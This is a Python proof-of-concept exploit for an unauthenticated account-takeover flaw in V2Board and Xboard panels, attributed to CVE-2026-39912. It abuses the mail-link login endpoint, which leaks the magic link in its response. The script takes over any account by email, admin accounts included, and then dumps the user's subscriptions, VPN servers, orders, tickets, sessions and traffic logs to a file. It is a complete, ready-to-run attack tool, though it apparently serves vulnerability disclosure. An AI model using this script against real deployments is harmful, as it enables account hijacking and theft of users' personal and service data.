""" Xboard / V2Board Unauth Account Takeover PoC Affected: - V2Board (v2board/v2board) >= 1.6.1 through 1.7.4 (abandoned) - Xboard (cedar2025/Xboard) all versions through v0.1.9+ The loginWithMailLink endpoint returns the magic login link directly in the HTTP response body instead of only sending it by email. An unauthenticated attacker can take over any account by email, then dump all accessible user data (subscriptions, VPN servers, orders, tickets, sessions, etc). The bug originates in V2Board and was inherited by Xboard via fork. Requirements: - login_with_mail_link_enable enabled in admin settings - Target email belongs to a registered user Usage: python3 poc.py http://localhost:7001 admin@demo.com python3 poc.py http://localhost:7001 admin@demo.com -o dump.json """ import argparse import json import logging import re import sys import requests logging.basicConfig(level=logging.INFO, format="[%(levelname)s] %(message)s") log = logging.getLogger(__name__) BANNER = """ Xboard / V2Board - Unauth Account Takeover Magic Link Token Leak (CVE-2026-39912) | by Choc V2Board >= 1.6.1 | Xboard <= 0.1.9+ 45 min from git clone to is_admin: true """ DUMP_ENDPOINTS = [ ("User Info", "api/v1/user/info"), ("Subscription", "api/v1/user/getSubscribe"), ("Servers", "api/v1/user/server/fetch"), ("Orders", "api/v1/user/order/fetch"), ("Tickets", "api/v1/user/ticket/fetch"), ("Invite Codes", "api/v1/user/invite/fetch"), ("Invite Details", "api/v1/user/invite/details"), ("Active Sessions", "api/v1/user/getActiveSession"), ("Stats", "api/v1/user/getStat"), ("Traffic Log", "api/v1/user/stat/getTrafficLog"), ("Knowledge Base", "api/v1/user/knowledge/fetch"), ("Notices", "api/v1/user/notice/fetch"), ] class Xboard: def __init__(self, base: str): self.base = base.rstrip("/") self.session = requests.Session() self.token = None def _get(self, path: str) -> dict: r = self.session.get( f"{self.base}/{path}", headers={"Authorization": self.token} if self.token else {}, ) return r.json() def takeover(self, email: str) -> dict: log.info("Requesting magic link for %s", email) r = self.session.post( f"{self.base}/api/v1/passport/auth/loginWithMailLink", json={"email": email}, ) data = r.json() if data.get("status") != "success" or not data.get("data"): sys.exit(f"Failed: {data}") link = data["data"] log.info("Leaked: %s", link) match = re.search(r"verify=([a-f0-9]+)", link) if not match: sys.exit(f"No verify token in: {link}") r = self.session.get( f"{self.base}/api/v1/passport/auth/token2Login", params={"verify": match.group(1)}, ) auth = r.json().get("data", {}) if not auth.get("auth_data"): sys.exit(f"Token exchange failed: {r.json()}") self.token = auth["auth_data"] log.info("Authenticated (admin=%s)", auth.get("is_admin", False)) return auth def dump(self) -> dict: results = {} for name, endpoint in DUMP_ENDPOINTS: data = self._get(endpoint) if data.get("status") == "success" and data.get("data"): results[name] = data["data"] log.info("%s: OK", name) else: log.info("%s: empty or failed", name) return results def main(): parser = argparse.ArgumentParser(description="Xboard Unauth Account Takeover") parser.add_argument("url", help="Target URL") parser.add_argument("email", help="Target email") parser.add_argument("-o", "--output", help="Dump to JSON file") args = parser.parse_args() print(BANNER) xb = Xboard(args.url) auth = xb.takeover(args.email) dump = xb.dump() output = {"auth": auth, "dump": dump} if args.output: with open(args.output, "w") as f: json.dump(output, f, indent=2, ensure_ascii=False) log.info("Saved to %s", args.output) else: print(json.dumps(output, indent=2, ensure_ascii=False)) if __name__ == "__main__": main()